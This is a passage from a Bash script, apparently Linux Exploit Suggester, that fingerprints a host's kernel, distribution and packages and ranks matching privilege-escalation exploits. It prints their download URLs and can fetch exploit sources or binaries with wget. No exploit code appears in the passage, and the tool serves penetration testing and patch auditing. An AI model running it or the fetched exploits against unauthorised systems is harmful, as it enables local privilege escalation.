exclusive. Aborting." 2365 | [ "$opt_uname_string" = "true" ] && exitWithErrMsg "Switches -u|--uname and --checksec are mutually exclusive. Aborting." 2366 | [ "$opt_pkglist_file" = "true" ] && exitWithErrMsg "Switches -p|--pkglist-file and --checksec are mutually exclusive. Aborting." 2367 | fi 2368 | 2369 | # extract kernel version and other OS info like distro name, distro version, etc. 3 possibilities here: 2370 | # case 1: --kernel set 2371 | if [ "$opt_kernel_version" == "true" ]; then 2372 | # TODO: add kernel version number validation 2373 | [ -z "$KERNEL" ] && exitWithErrMsg "Unrecognized kernel version given. Aborting." 2374 | ARCH="" 2375 | OS="" 2376 | 2377 | # do not perform additional checks on current machine 2378 | opt_skip_more_checks=true 2379 | 2380 | # do not consider current OS 2381 | getPkgList "" "$PKGLIST_FILE" 2382 | 2383 | # case 2: --uname set 2384 | elif [ "$opt_uname_string" == "true" ]; then 2385 | [ -z "$UNAME_A" ] && exitWithErrMsg "uname string empty. Aborting." 2386 | parseUname "$UNAME_A" 2387 | 2388 | # do not perform additional checks on current machine 2389 | opt_skip_more_checks=true 2390 | 2391 | # do not consider current OS 2392 | getPkgList "" "$PKGLIST_FILE" 2393 | 2394 | # case 3: --cvelist-file mode 2395 | elif [ "$opt_cvelist_file" = "true" ]; then 2396 | 2397 | # get kernel configuration in this mode 2398 | [ "$opt_skip_more_checks" = "false" ] && getKernelConfig 2399 | 2400 | # case 4: --checksec mode 2401 | elif [ "$opt_checksec_mode" = "true" ]; then 2402 | 2403 | # this switch is not applicable in this mode 2404 | opt_skip_more_checks=false 2405 | 2406 | # get kernel configuration in this mode 2407 | getKernelConfig 2408 | [ -z "$KCONFIG" ] && echo "WARNING. Kernel Config not found on the system results won't be complete." 2409 | 2410 | # launch checksec mode 2411 | checksecMode 2412 | 2413 | exit 0 2414 | 2415 | # case 5: no --uname | --kernel | --cvelist-file | --checksec set 2416 | else 2417 | 2418 | # --pkglist-file NOT provided: take all info from current machine 2419 | # case for vanilla execution: ./linux-exploit-suggester.sh 2420 | if [ "$opt_pkglist_file" == "false" ]; then 2421 | UNAME_A=$(uname -a) 2422 | [ -z "$UNAME_A" ] && exitWithErrMsg "uname string empty. Aborting." 2423 | parseUname "$UNAME_A" 2424 | 2425 | # get kernel configuration in this mode 2426 | [ "$opt_skip_more_checks" = "false" ] && getKernelConfig 2427 | 2428 | # extract distribution version from /etc/os-release OR /etc/lsb-release 2429 | [ -n "$OS" -a "$opt_skip_more_checks" = "false" ] && DISTRO=$(grep -s -E '^DISTRIB_RELEASE=|^VERSION_ID=' /etc/*-release | cut -d'=' -f2 | head -1 | tr -d '"') 2430 | 2431 | # extract package listing from current OS 2432 | getPkgList "$OS" "" 2433 | 2434 | # --pkglist-file provided: only consider userspace exploits against provided package listing 2435 | else 2436 | KERNEL="" 2437 | #TODO: extract machine arch from package listing 2438 | ARCH="" 2439 | unset EXPLOITS 2440 | declare -A EXPLOITS 2441 | getPkgList "" "$PKGLIST_FILE" 2442 | 2443 | # additional checks are not applicable for this mode 2444 | opt_skip_more_checks=true 2445 | fi 2446 | fi 2447 | 2448 | echo 2449 | echo -e "${bldwht}Available information:${txtrst}" 2450 | echo 2451 | [ -n "$KERNEL" ] && echo -e "Kernel version: ${txtgrn}$KERNEL${txtrst}" || echo -e "Kernel version: ${txtred}N/A${txtrst}" 2452 | echo "Architecture: $([ -n "$ARCH" ] && echo -e "${txtgrn}$ARCH${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2453 | echo "Distribution: $([ -n "$OS" ] && echo -e "${txtgrn}$OS${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2454 | echo -e "Distribution version: $([ -n "$DISTRO" ] && echo -e "${txtgrn}$DISTRO${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2455 | 2456 | echo "Additional checks (CONFIG_*, sysctl entries, custom Bash commands): $([ "$opt_skip_more_checks" == "false" ] && echo -e "${txtgrn}performed${txtrst}" || echo -e "${txtred}N/A${txtrst}")" 2457 | 2458 | if [ -n "$PKGLIST_FILE" -a -n "$PKG_LIST" ]; then 2459 | pkgListFile="${txtgrn}$PKGLIST_FILE${txtrst}" 2460 | elif [ -n "$PKGLIST_FILE" ]; then 2461 | pkgListFile="${txtred}unrecognized file provided${txtrst}" 2462 | elif [ -n "$PKG_LIST" ]; then 2463 | pkgListFile="${txtgrn}from current OS${txtrst}" 2464 | fi 2465 | 2466 | echo -e "Package listing: $([ -n "$pkgListFile" ] && echo -e "$pkgListFile" || echo -e "${txtred}N/A${txtrst}")" 2467 | 2468 | # handle --kernelspacy-only & --userspace-only filter options 2469 | if [ "$opt_kernel_only" = "true" -o -z "$PKG_LIST" ]; then 2470 | unset EXPLOITS_USERSPACE 2471 | declare -A EXPLOITS_USERSPACE 2472 | fi 2473 | 2474 | if [ "$opt_userspace_only" = "true" ]; then 2475 | unset EXPLOITS 2476 | declare -A EXPLOITS 2477 | fi 2478 | 2479 | echo 2480 | echo -e "${bldwht}Searching among:${txtrst}" 2481 | echo 2482 | echo "${#EXPLOITS[@]} kernel space exploits" 2483 | echo "${#EXPLOITS_USERSPACE[@]} user space exploits" 2484 | echo 2485 | 2486 | echo -e "${bldwht}Possible Exploits:${txtrst}" 2487 | echo 2488 | 2489 | # start analysis 2490 | j=0 2491 | for EXP in "${EXPLOITS[@]}" "${EXPLOITS_USERSPACE[@]}"; do 2492 | 2493 | # create array from current exploit here doc and fetch needed lines 2494 | i=0 2495 | # ('-r' is used to not interpret backslash used for bash colors) 2496 | while read -r line 2497 | do 2498 | arr[i]="$line" 2499 | i=$((i + 1)) 2500 | done <<< "$EXP" 2501 | 2502 | NAME="${arr[0]}" && NAME="${NAME:6}" 2503 | REQS="${arr[1]}" && REQS="${REQS:6}" 2504 | TAGS="${arr[2]}" && TAGS="${TAGS:6}" 2505 | RANK="${arr[3]}" && RANK="${RANK:6}" 2506 | 2507 | # split line with requirements & loop thru all reqs one by one & check whether it is met 2508 | IFS=',' read -r -a array <<< "$REQS" 2509 | REQS_NUM=${#array[@]} 2510 | PASSED_REQ=0 2511 | for REQ in "${array[@]}"; do 2512 | if (checkRequirement "$REQ" "${array[0]}"); then 2513 | PASSED_REQ=$(($PASSED_REQ + 1)) 2514 | else 2515 | break 2516 | fi 2517 | done 2518 | 2519 | # execute for exploits with all requirements met 2520 | if [ $PASSED_REQ -eq $REQS_NUM ]; then 2521 | 2522 | # additional requirement for --cvelist-file mode: check if CVE associated with the exploit is on the CVELIST_FILE 2523 | if [ "$opt_cvelist_file" = "true" ]; then 2524 | 2525 | # extract CVE(s) associated with given exploit (also translates ',' to '|' for easy handling multiple CVEs case - via extended regex) 2526 | cve=$(echo "$NAME" | grep '.*\[.*\].*' | cut -d 'm' -f2 | cut -d ']' -f1 | tr -d '[' | tr "," "|") 2527 | #echo "CVE: $cve" 2528 | 2529 | # check if it's on CVELIST_FILE list, if no move to next exploit 2530 | [ ! $(cat "$CVELIST_FILE" | grep -E "$cve") ] && continue 2531 | fi 2532 | 2533 | # process tags and highlight those that match current OS (only for deb|ubuntu|RHEL and if we know distro version - direct mode) 2534 | tags="" 2535 | if [ -n "$TAGS" -a -n "$OS" ]; then 2536 | IFS=',' read -r -a tags_array <<< "$TAGS" 2537 | TAGS_NUM=${#tags_array[@]} 2538 | 2539 | # bump RANK slightly (+1) if we're in '--uname' mode and there's a TAG for OS from uname string 2540 | [ "$(echo "${tags_array[@]}" | grep "$OS")" -a "$opt_uname_string" == "true" ] && RANK=$(($RANK + 1)) 2541 | 2542 | for TAG in "${tags_array[@]}"; do 2543 | tag_distro=$(echo "$TAG" | cut -d'=' -f1) 2544 | tag_distro_num_all=$(echo "$TAG" | cut -d'=' -f2) 2545 | # in case of tag of form: 'ubuntu=16.04{kernel:4.4.0-21} remove kernel versioning part for comparision 2546 | tag_distro_num="${tag_distro_num_all%{*}" 2547 | 2548 | # we're in '--uname' mode OR (for normal mode) if there is distro version match 2549 | if [ "$opt_uname_string" == "true" -o \( "$OS" == "$tag_distro" -a "$(echo "$DISTRO" | grep -E "$tag_distro_num")" \) ]; then 2550 | 2551 | # bump current exploit's rank by 2 for distro match (and not in '--uname' mode) 2552 | [ "$opt_uname_string" == "false" ] && RANK=$(($RANK + 2)) 2553 | 2554 | # get name (kernel or package name) and version of kernel/pkg if provided: 2555 | tag_pkg=$(echo "$tag_distro_num_all" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 1) 2556 | tag_pkg_num="" 2557 | [ $(echo "$tag_distro_num_all" | grep '{') ] && tag_pkg_num=$(echo "$tag_distro_num_all" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 2) 2558 | 2559 | #[ -n "$tag_pkg_num" ] && echo "tag_pkg_num: $tag_pkg_num; kernel: $KERNEL_ALL" 2560 | 2561 | # if pkg/kernel version is not provided: 2562 | if [ -z "$tag_pkg_num" ]; then 2563 | [ "$opt_uname_string" == "false" ] && TAG="${lightyellow}[ ${TAG} ]${txtrst}" 2564 | 2565 | # kernel version provided, check for match: 2566 | elif [ -n "$tag_pkg_num" -a "$tag_pkg" = "kernel" ]; then 2567 | if [ $(echo "$KERNEL_ALL" | grep -E "${tag_pkg_num}") ]; then 2568 | # kernel version matched - bold highlight 2569 | TAG="${yellow}[ ${TAG} ]${txtrst}" 2570 | 2571 | # bump current exploit's rank additionally by 3 for kernel version regex match 2572 | RANK=$(($RANK + 3)) 2573 | else 2574 | [ "$opt_uname_string" == "false" ] && TAG="${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{kernel:$tag_pkg_num}" 2575 | fi 2576 | 2577 | # pkg version provided, check for match (TBD): 2578 | elif [ -n "$tag_pkg_num" -a -n "$tag_pkg" ]; then 2579 | TAG="${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{$tag_pkg:$tag_pkg_num}" 2580 | fi 2581 | 2582 | fi 2583 | 2584 | # append current tag to tags list 2585 | tags="${tags}${TAG}," 2586 | done 2587 | # trim ',' added by above loop 2588 | [ -n "$tags" ] && tags="${tags%?}" 2589 | else 2590 | tags="$TAGS" 2591 | fi 2592 | 2593 | # insert the matched exploit (with calculated Rank and highlighted tags) to arrary that will be sorted 2594 | EXP=$(echo "$EXP" | sed -e '/^Name:/d' -e '/^Reqs:/d' -e '/^Tags:/d') 2595 | exploits_to_sort[j]="${RANK}Name: ${NAME}D3L1mReqs: ${REQS}D3L1mTags: ${tags}D3L1m$(echo "$EXP" | sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/D3L1m/g')" 2596 | ((j++)) 2597 | fi 2598 | done 2599 | 2600 | # sort exploits based on calculated Rank 2601 | IFS=$'\n' 2602 | SORTED_EXPLOITS=($(sort -r <<<"${exploits_to_sort[*]}")) 2603 | unset IFS 2604 | 2605 | # display sorted exploits 2606 | for EXP_TEMP in "${SORTED_EXPLOITS[@]}"; do 2607 | 2608 | RANK=$(echo "$EXP_TEMP" | awk -F'Name:' '{print $1}') 2609 | 2610 | # convert entry back to canonical form 2611 | EXP=$(echo "$EXP_TEMP" | sed 's/^[0-9]//g' | sed 's/D3L1m/\n/g') 2612 | 2613 | # create array from current exploit here doc and fetch needed lines 2614 | i=0 2615 | # ('-r' is used to not interpret backslash used for bash colors) 2616 | while read -r line 2617 | do 2618 | arr[i]="$line" 2619 | i=$((i + 1)) 2620 | done <<< "$EXP" 2621 | 2622 | NAME="${arr[0]}" && NAME="${NAME:6}" 2623 | REQS="${arr[1]}" && REQS="${REQS:6}" 2624 | TAGS="${arr[2]}" && tags="${TAGS:6}" 2625 | 2626 | EXPLOIT_DB=$(echo "$EXP" | grep "exploit-db: " | awk '{print $2}') 2627 | analysis_url=$(echo "$EXP" | grep "analysis-url: " | awk '{print $2}') 2628 | ext_url=$(echo "$EXP" | grep "ext-url: " | awk '{print $2}') 2629 | comments=$(echo "$EXP" | grep "Comments: " | cut -d' ' -f 2-) 2630 | reqs=$(echo "$EXP" | grep "Reqs: " | cut -d' ' -f 2) 2631 | 2632 | # exploit name without CVE number and without commonly used special chars 2633 | name=$(echo "$NAME" | cut -d' ' -f 2- | tr -d ' ()/') 2634 | 2635 | bin_url=$(echo "$EXP" | grep "bin-url: " | awk '{print $2}') 2636 | src_url=$(echo "$EXP" | grep "src-url: " | awk '{print $2}') 2637 | [ -z "$src_url" ] && [ -n "$EXPLOIT_DB" ] && src_url="https://www.exploit-db.com/download/$EXPLOIT_DB" 2638 | [ -z "$src_url" ] && [ -z "$bin_url" ] && exitWithErrMsg "'src-url' / 'bin-url' / 'exploit-db' entries are all empty for '$NAME' exploit - fix that. Aborting." 2639 | 2640 | if [ -n "$analysis_url" ]; then 2641 | details="$analysis_url" 2642 | elif $(echo "$src_url" | grep -q 'www.exploit-db.com'); then 2643 | details="https://www.exploit-db.com/exploits/$EXPLOIT_DB/" 2644 | elif [[ "$src_url" =~ ^.*tgz|tar.gz|zip$ && -n "$EXPLOIT_DB" ]]; then 2645 | details="https://www.exploit-db.com/exploits/$EXPLOIT_DB/" 2646 | else 2647 | details="$src_url" 2648 | fi 2649 | 2650 | # skip DoS by default 2651 | dos=$(echo "$EXP" | grep -o -i "(dos") 2652 | [ "$opt_show_dos" == "false" ] && [ -n "$dos" ] && continue 2653 | 2654 | # handles --fetch-binaries option 2655 | if [ $opt_fetch_bins = "true" ]; then 2656 | for i in $(echo "$EXP" | grep "bin-url: " | awk '{print $2}'); do 2657 | [ -f "${name}_$(basename $i)" ] && rm -f "${name}_$(basename $i)" 2658 | wget -q -k "$i" -O "${name}_$(basename $i)" 2659 | done 2660 | fi 2661 | 2662 | # handles --fetch-sources option 2663 | if [ $opt_fetch_srcs = "true" ]; then 2664 | [ -f "${name}_$(basename $src_url)" ] && rm -f "${name}_$(basename $src_url)" 2665 | wget -q -k "$src_url" -O "${name}_$(basename $src_url)" & 2666 | fi 2667 | 2668 | # display result (short) 2669 | if [ "$opt_summary" = "true" ]; then 2670 | [ -z "$tags" ] && tags="-" 2671 | echo -e "$NAME || $tags || $src_url" 2672 | continue 2673 | fi 2674 | 2675 | # display result (standard) 2676 | echo -e "[+] $NAME" 2677 | echo -e "\n Details: $details" 2678 | echo -e " Exposure: $(displayExposure $RANK)" 2679 | [ -n "$tags" ] && echo -e " Tags: $tags" 2680 | echo -e " Download URL: $src_url" 2681 | [ -n "$ext_url" ] && echo -e " ext-url: $ext_url" 2682 | [ -n "$comments" ] && echo -e " Comments: $comments" 2683 | 2684 | # handles --full filter option 2685 | if [ "$opt_full" = "true" ]; then 2686 | [ -n "$reqs" ] && echo -e " Requirements: $reqs" 2687 | 2688 | [ -n "$EXPLOIT_DB" ] && echo -e " exploit-db: $EXPLOIT_DB" 2689 | 2690 | author=$(echo "$EXP" | grep "author: " | cut -d' ' -f 2-) 2691 | [ -n "$author" ] && echo -e " author: $author" 2692 | fi 2693 | 2694 | echo 2695 | 2696 | done 2697 | --------------------------------------------------------------------------------